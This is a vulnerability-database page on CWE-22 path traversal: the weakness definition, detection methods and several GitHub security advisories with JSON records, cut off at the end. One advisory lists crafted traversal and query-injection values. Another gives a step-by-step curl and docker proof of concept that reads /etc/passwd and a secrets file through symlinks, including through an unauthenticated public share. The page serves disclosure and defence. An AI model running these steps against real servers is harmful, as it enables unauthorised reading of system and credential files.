CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
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16048 vulnerabilities reference this CWE, most recent first.
GHSA-MGCC-V376-CQG5
Vulnerability from github – Published: 2024-03-22 00:31 – Updated: 2025-11-05 15:31Path traversal attack is possible and write outside of the intended directory and may access sensitive information. If a file name is specified that already exists on the file system, then the original file will be overwritten.
{
"affected": [],
"aliases": [
"CVE-2024-25567"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-21T23:15:10Z",
"severity": "HIGH"
},
"details": "Path traversal attack is possible and write outside of the intended directory and may access sensitive information. If a file name is specified that already exists on the file system, then the original file will be overwritten.",
"id": "GHSA-mgcc-v376-cqg5",
"modified": "2025-11-05T15:31:00Z",
"published": "2024-03-22T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25567"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-074-12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MGCP-MFP8-3Q45
Vulnerability from github – Published: 2026-04-22 20:28 – Updated: 2026-05-13 13:30Summary
Versions of i18next-locize-backend prior to 9.0.2 interpolate lng, ns, projectId, and version directly into the configured loadPath / privatePath / addPath / updatePath / getLanguagesPath URL templates with no path-component validation and no encoding. When an application exposes any of these values to user-controlled input (?lng= / ?ns= query parameters via i18next-browser-languagedetector, cookies, request headers, or a URL-derived projectId), a crafted value can change the structure of the outgoing request URL.
Affected call sites in lib/index.js (pre-patch): the interpolate() helper is used at the five URL-build sites — _readAny/read (line 415 for private, 426 for public), getLanguages (lines 271 and 296), and writePage (lines 616 and 622) for the missing-key and update POST paths. The helper interpolate in lib/utils.js substitutes raw values with no encoding.
Impact
An attacker who can influence lng, ns, projectId, or version can:
- Path traversal —
lng = '../../admin'againsthttps://api.locize.app/{{projectId}}/{{version}}/{{lng}}/{{ns}}changes the request URL path segment that reaches the locize CDN / API. - Query-string injection —
lng = 'en?x=y'appends an attacker-chosen query to the URL. - Fragment truncation —
lng = 'en#x'silently truncates the path in browser fetches. - URL-encoded bypass —
lng = 'en%2F..'leverages server-side decoding to reintroduce/...
The worst-case concrete impact is loading an unintended translation resource (potentially causing wrong content to render) and, when a custom loadPath is configured against an internal / file-scheme URL, SSRF or arbitrary-file read on the host running the backend.
Additionally, the pre-patch interpolate() function read data[key] without excluding prototype-chain properties — under prototype-pollution conditions in the same process, that path could pull values from Object.prototype into the URL.
Related fixes shipped in 9.0.2
- The
defaults()helper replacesfor...initeration withObject.keys()plus an explicit prototype-key guard so a pollutedObject.prototypecannot leak into the merged options object. - New
utils.interpolateUrl/isSafeUrlSegment/sanitizeLogValue/redactUrlCredentialshelpers mirror the pattern shipped ini18next-http-backend@3.0.5(see its advisory GHSA-q89c-q3h5-w34g).
Affected versions
All versions of i18next-locize-backend prior to 9.0.2.
Patch
Fixed in 9.0.2. lib/index.js now uses interpolateUrl() at every URL-build site and returns an error callback (or silently drops the queued write for writePage) when any interpolated value fails the safety check. Legitimate i18next language-code shapes (BCP-47, en_US, zh-Hant-HK, my-custom.ns, +-joined multi-language values) all pass.
Workarounds
No workaround short of upgrading. If you cannot upgrade immediately, sanitise lng / ns / projectId / version at your application boundary before passing them through to i18next — reject values containing .., /, \, ?, #, %, whitespace, control characters, and cap the length.
Credits
Discovered via an internal security audit of the i18next / locize ecosystem.
References
- CWE-22: Path Traversal
- CWE-74: Injection
- CWE-1321: Prototype Pollution (amplification path)
- Related advisory in the same ecosystem: GHSA-q89c-q3h5-w34g (i18next-http-backend)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "i18next-locize-backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41885"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T20:28:27Z",
"nvd_published_at": "2026-05-08T16:16:11Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nVersions of `i18next-locize-backend` prior to 9.0.2 interpolate `lng`, `ns`, `projectId`, and `version` directly into the configured `loadPath` / `privatePath` / `addPath` / `updatePath` / `getLanguagesPath` URL templates with no path-component validation and no encoding. When an application exposes any of these values to user-controlled input (`?lng=` / `?ns=` query parameters via `i18next-browser-languagedetector`, cookies, request headers, or a URL-derived `projectId`), a crafted value can change the structure of the outgoing request URL.\n\nAffected call sites in `lib/index.js` (pre-patch): the `interpolate()` helper is used at the five URL-build sites \u2014 `_readAny`/`read` (line 415 for private, 426 for public), `getLanguages` (lines 271 and 296), and `writePage` (lines 616 and 622) for the missing-key and update POST paths. The helper `interpolate` in `lib/utils.js` substitutes raw values with no encoding.\n\n### Impact\n\nAn attacker who can influence `lng`, `ns`, `projectId`, or `version` can:\n\n- **Path traversal** \u2014 `lng = \u0027../../admin\u0027` against `https://api.locize.app/{{projectId}}/{{version}}/{{lng}}/{{ns}}` changes the request URL path segment that reaches the locize CDN / API.\n- **Query-string injection** \u2014 `lng = \u0027en?x=y\u0027` appends an attacker-chosen query to the URL.\n- **Fragment truncation** \u2014 `lng = \u0027en#x\u0027` silently truncates the path in browser fetches.\n- **URL-encoded bypass** \u2014 `lng = \u0027en%2F..\u0027` leverages server-side decoding to reintroduce `/..`.\n\nThe worst-case concrete impact is loading an unintended translation resource (potentially causing wrong content to render) and, when a custom `loadPath` is configured against an internal / file-scheme URL, **SSRF or arbitrary-file read** on the host running the backend.\n\nAdditionally, the pre-patch `interpolate()` function read `data[key]` without excluding prototype-chain properties \u2014 under prototype-pollution conditions in the same process, that path could pull values from `Object.prototype` into the URL.\n\n### Related fixes shipped in 9.0.2\n\n- The `defaults()` helper replaces `for...in` iteration with `Object.keys()` plus an explicit prototype-key guard so a polluted `Object.prototype` cannot leak into the merged options object.\n- New `utils.interpolateUrl` / `isSafeUrlSegment` / `sanitizeLogValue` / `redactUrlCredentials` helpers mirror the pattern shipped in `i18next-http-backend@3.0.5` (see its advisory [GHSA-q89c-q3h5-w34g](https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-q89c-q3h5-w34g)).\n\n### Affected versions\n\nAll versions of `i18next-locize-backend` prior to **9.0.2**.\n\n### Patch\n\nFixed in **9.0.2**. `lib/index.js` now uses `interpolateUrl()` at every URL-build site and returns an error callback (or silently drops the queued write for `writePage`) when any interpolated value fails the safety check. Legitimate i18next language-code shapes (BCP-47, `en_US`, `zh-Hant-HK`, `my-custom.ns`, `+`-joined multi-language values) all pass.\n\n### Workarounds\n\nNo workaround short of upgrading. If you cannot upgrade immediately, sanitise `lng` / `ns` / `projectId` / `version` at your application boundary before passing them through to i18next \u2014 reject values containing `..`, `/`, `\\`, `?`, `#`, `%`, whitespace, control characters, and cap the length.\n\n### Credits\n\nDiscovered via an internal security audit of the i18next / locize ecosystem.\n\n### References\n\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-74: Injection](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-1321: Prototype Pollution (amplification path)](https://cwe.mitre.org/data/definitions/1321.html)\n- Related advisory in the same ecosystem: [GHSA-q89c-q3h5-w34g (i18next-http-backend)](https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-q89c-q3h5-w34g)",
"id": "GHSA-mgcp-mfp8-3q45",
"modified": "2026-05-13T13:30:05Z",
"published": "2026-04-22T20:28:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/locize/i18next-locize-backend/security/advisories/GHSA-mgcp-mfp8-3q45"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41885"
},
{
"type": "WEB",
"url": "https://github.com/locize/i18next-locize-backend/commit/8f81ad4707aa0e90647fde4da5fbe5b23153c6e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/locize/i18next-locize-backend"
},
{
"type": "WEB",
"url": "https://github.com/locize/i18next-locize-backend/releases/tag/v9.0.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "i18next-locize-backend has URL Injection via Unsanitized Path Parameters"
}
GHSA-MGG9-3FC6-4G86
Vulnerability from github – Published: 2022-05-17 05:51 – Updated: 2022-05-17 05:51Directory traversal vulnerability in the ZiMB Comment (com_zimbcomment) component 0.8.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
{
"affected": [],
"aliases": [
"CVE-2010-1602"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-29T17:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the ZiMB Comment (com_zimbcomment) component 0.8.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.",
"id": "GHSA-mgg9-3fc6-4g86",
"modified": "2022-05-17T05:51:34Z",
"published": "2022-05-17T05:51:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1602"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1004-exploits/joomlazimbcomment-lfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/12283"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39548"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0932"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MGG9-R34M-5XP9
Vulnerability from github – Published: 2022-05-14 01:22 – Updated: 2022-05-14 01:22Directory traversal vulnerability in iChain Insurance Wallet App for iOS Version 1.3.0 and earlier allows remote attackers to read arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2019-5923"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-12T22:29:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in iChain Insurance Wallet App for iOS Version 1.3.0 and earlier allows remote attackers to read arbitrary files via unspecified vectors.",
"id": "GHSA-mgg9-r34m-5xp9",
"modified": "2022-05-14T01:22:07Z",
"published": "2022-05-14T01:22:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5923"
},
{
"type": "WEB",
"url": "https://www.ichain.co.jp/security20190311.html"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN11622218/index.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MGGP-F2J5-MM3G
Vulnerability from github – Published: 2026-07-03 09:31 – Updated: 2026-07-08 15:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache Lucene.Net (Lucene.Net.Replicator library).
This issue affects Apache Lucene.Net.Replicator: from 4.8.0-beta00005 through 4.8.0-beta00017.
Users are recommended to upgrade to version 4.8.0-beta00018, which fixes the issue.
{
"affected": [],
"aliases": [
"CVE-2026-47896"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T09:16:37Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in Apache Lucene.Net (Lucene.Net.Replicator library).\n\nThis issue affects Apache Lucene.Net.Replicator: from 4.8.0-beta00005 through 4.8.0-beta00017.\n\nUsers are recommended to upgrade to version 4.8.0-beta00018, which fixes the issue.",
"id": "GHSA-mggp-f2j5-mm3g",
"modified": "2026-07-08T15:31:49Z",
"published": "2026-07-03T09:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47896"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/7y9gbt17p55fh1zltks4pnh719wq9sqt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/07/03/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:X/RE:L/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-MGQF-5MF5-PRFJ
Vulnerability from github – Published: 2026-10-27 21:04 – Updated: 2026-10-27 21:04Summary
File read paths resolve symbolic links with filepath.EvalSymlinks and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope.
A symlink located inside a user's accessible directory that points outside the scope (for example to /etc/passwd, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope.
The same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.
Details
1. Symlink resolution performs no containment check (indexing/iteminfo/utils.go:110-119)
func ResolveSymlinks(path string) (string, bool, error) {
resolvedPath, err := filepath.EvalSymlinks(path) // follows the link to its real target
if err != nil {
return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
}
info, err := os.Lstat(resolvedPath)
// ...
return resolvedPath, IsDirectory(info), nil // returned with no scope validation
}
There is no comparison of resolvedPath against the index/scope root.
2. GetRealPath returns the resolved target unchecked (indexing/indexingFiles.go:991-1008)
absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath) // escapes scope here
// ...
return realPath, isDir, err
realPath is then used by file handlers to open and serve the file. No caller re-validates that realPath is a descendant of the user's source root. (By contrast, the project did add containment for archive extraction via symlinkTargetStaysUnderDest, but that guard is specific to extraction and is not applied to this general read path.)
3. The read handlers request symlink following, including the unauthenticated public-share handlers (http/resource.go:96,503, http/media.go:124, http/onlyOffice.go:133, http/public.go:279,441,494)
FollowSymlinks: true,
Authenticated download, preview, media-subtitle, and OnlyOffice read flows all set FollowSymlinks: true, and so do the public share handlers in http/public.go. The public download route is registered as publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler)) (http/httpRouter.go:130), where withHashFile authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.
PoC
Confirmed live on gtstef/filebrowser:1.3.3-stable. A symlink pointing outside the user's directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.
1. Start a fresh container and seed a file outside the user's intended subtree.
docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090
2. Place symlinks inside the served tree that point outside it. One points at a host file (/etc/passwd), one at the file outside the user's subtree.
docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
Vector 1: authenticated user (any account with download access)
3. Log in as the default admin (the token is passed as the auth query parameter).
ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
4. Download through the symlinks and read files from outside the scope.
curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"
Observed output:
[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret
Vector 2: unauthenticated, via a public share (no account)
5. The owner creates a public share of the directory (a normal use of the share feature). This is the only step that needs an account.
SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
-H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")
6. With only the public share hash and no credential, download through the symlink.
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"
Observed output:
[passwd_link] root:x:0:0:root:/root:/bin/sh (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret
Both vectors follow each symlink to its target and return content from outside the served directory.
Vector 1 works for any scoped non-admin user confined to /user1.
Vector 2 needs no account at all, only the public share link, which is why the CVSS score uses PR:N.
Impact
- Arbitrary file read outside scope: any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys,
/etc/passwd, container service-account tokens, other tenants' files). - Unauthenticated read via public shares: because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the
PR:Nworst case driving the score. - Cross-tenant data exposure: in multi-user deployments, one user reads other users' scoped files through a symlink.
- Broad sink coverage: the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.
- Precondition: a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.
Recommended Fix
After resolving symlinks, verify the resolved real path is still contained within the user's source root, and reject otherwise:
// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:
rootReal, _ := filepath.EvalSymlinks(idx.Path)
rel, err := filepath.Rel(rootReal, realPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return "", false, fmt.Errorf("resolved path escapes source scope")
}
Apply the same containment check (or reuse the existing symlinkTargetStaysUnderDest logic) on every read path that sets FollowSymlinks: true. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gtsteffaniak/filebrowser/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260814233832-4126edeb07a0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-116682"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-27T21:04:40Z",
"nvd_published_at": "2026-10-27T18:17:36Z",
"severity": "HIGH"
},
"details": "## Summary\n\nFile read paths resolve symbolic links with `filepath.EvalSymlinks` and then operate on the resolved target without re-checking that the target still lies inside the user\u0027s source/scope. \n\nA symlink located inside a user\u0027s accessible directory that points outside the scope (for example to `/etc/passwd`, another tenant\u0027s directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope. \n\nThe same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.\n\n## Details\n\n**1. Symlink resolution performs no containment check (`indexing/iteminfo/utils.go:110-119`)**\n\n```go\nfunc ResolveSymlinks(path string) (string, bool, error) {\n resolvedPath, err := filepath.EvalSymlinks(path) // follows the link to its real target\n if err != nil {\n return path, false, fmt.Errorf(\"could not resolve symlinks for %s: %v\", path, err)\n }\n info, err := os.Lstat(resolvedPath)\n // ...\n return resolvedPath, IsDirectory(info), nil // returned with no scope validation\n}\n```\n\nThere is no comparison of `resolvedPath` against the index/scope root.\n\n**2. `GetRealPath` returns the resolved target unchecked (`indexing/indexingFiles.go:991-1008`)**\n\n```go\nabsolutePath, err := filepath.Abs(joinedPath)\n// ...\nrealPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath) // escapes scope here\n// ...\nreturn realPath, isDir, err\n```\n\n`realPath` is then used by file handlers to open and serve the file. No caller re-validates that `realPath` is a descendant of the user\u0027s source root. (By contrast, the project did add containment for archive extraction via `symlinkTargetStaysUnderDest`, but that guard is specific to extraction and is not applied to this general read path.)\n\n**3. The read handlers request symlink following, including the unauthenticated public-share handlers (`http/resource.go:96,503`, `http/media.go:124`, `http/onlyOffice.go:133`, `http/public.go:279,441,494`)**\n\n```go\nFollowSymlinks: true,\n```\n\nAuthenticated download, preview, media-subtitle, and OnlyOffice read flows all set `FollowSymlinks: true`, and so do the public share handlers in `http/public.go`. The public download route is registered as `publicApi.HandleFunc(\"GET /resources/download\", withHashFile(publicDownloadHandler))` (`http/httpRouter.go:130`), where `withHashFile` authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.\n\n## PoC\n\nConfirmed live on `gtstef/filebrowser:1.3.3-stable`. A symlink pointing outside the user\u0027s directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.\n\n**1. Start a fresh container and seed a file outside the user\u0027s intended subtree.**\n```bash\ndocker rm -f fb-q-lab 2\u003e/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1\necho \"ROOT_DB_PASSWORD=supersecret\" \u003e /tmp/fb-q-lab/srv/secret-outside.txt\ndocker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable \u0026\u0026 sleep 8\nTARGET_URL=http://localhost:8090\n```\n\n**2. Place symlinks inside the served tree that point outside it.** One points at a host file (`/etc/passwd`), one at the file outside the user\u0027s subtree.\n```bash\ndocker exec fb-q-lab sh -c \u0027ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link\u0027\n```\n\n### Vector 1: authenticated user (any account with download access)\n\n**3. Log in as the default admin** (the token is passed as the `auth` query parameter).\n```bash\nADMIN_TOKEN=$(curl -s -X POST \"$TARGET_URL/api/auth/login?username=admin\" -H \"X-Password: admin\" | tr -d \u0027\"\u0027)\n```\n\n**4. Download through the symlinks and read files from outside the scope.**\n```bash\ncurl -s \"$TARGET_URL/api/resources/download?file=/user1/passwd_link\u0026source=srv\u0026auth=$ADMIN_TOKEN\" | head -1\ncurl -s \"$TARGET_URL/api/resources/download?file=/user1/secret_link\u0026source=srv\u0026auth=$ADMIN_TOKEN\"\n```\n\nObserved output:\n```\n[passwd_link] root:x:0:0:root:/root:/bin/sh\n[secret_link] ROOT_DB_PASSWORD=supersecret\n```\n\n### Vector 2: unauthenticated, via a public share (no account)\n\n**5. The owner creates a public share of the directory** (a normal use of the share feature). This is the only step that needs an account.\n```bash\nSHARE_HASH=$(curl -s -X POST \"$TARGET_URL/api/share?auth=$ADMIN_TOKEN\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"path\":\"/user1\",\"source\":\"srv\"}\u0027 \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027hash\u0027])\")\n```\n\n**6. With only the public share hash and no credential, download through the symlink.**\n```bash\ncurl -s \"$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH\u0026file=/passwd_link\" | head -1\ncurl -s \"$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH\u0026file=/secret_link\"\n```\n\nObserved output:\n```\n[passwd_link] root:x:0:0:root:/root:/bin/sh (HTTP 200)\n[secret_link] ROOT_DB_PASSWORD=supersecret\n```\n\nBoth vectors follow each symlink to its target and return content from outside the served directory.\nVector 1 works for any scoped non-admin user confined to `/user1`.\nVector 2 needs no account at all, only the public share link, which is why the CVSS score uses `PR:N`.\n\n## Impact\n\n- **Arbitrary file read outside scope:** any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, `/etc/passwd`, container service-account tokens, other tenants\u0027 files).\n- **Unauthenticated read via public shares:** because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the `PR:N` worst case driving the score.\n- **Cross-tenant data exposure:** in multi-user deployments, one user reads other users\u0027 scoped files through a symlink.\n- **Broad sink coverage:** the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.\n- **Precondition:** a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.\n\n## Recommended Fix\n\nAfter resolving symlinks, verify the resolved real path is still contained within the user\u0027s source root, and reject otherwise:\n\n```go\n// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:\nrootReal, _ := filepath.EvalSymlinks(idx.Path)\nrel, err := filepath.Rel(rootReal, realPath)\nif err != nil || rel == \"..\" || strings.HasPrefix(rel, \"..\"+string(os.PathSeparator)) {\n return \"\", false, fmt.Errorf(\"resolved path escapes source 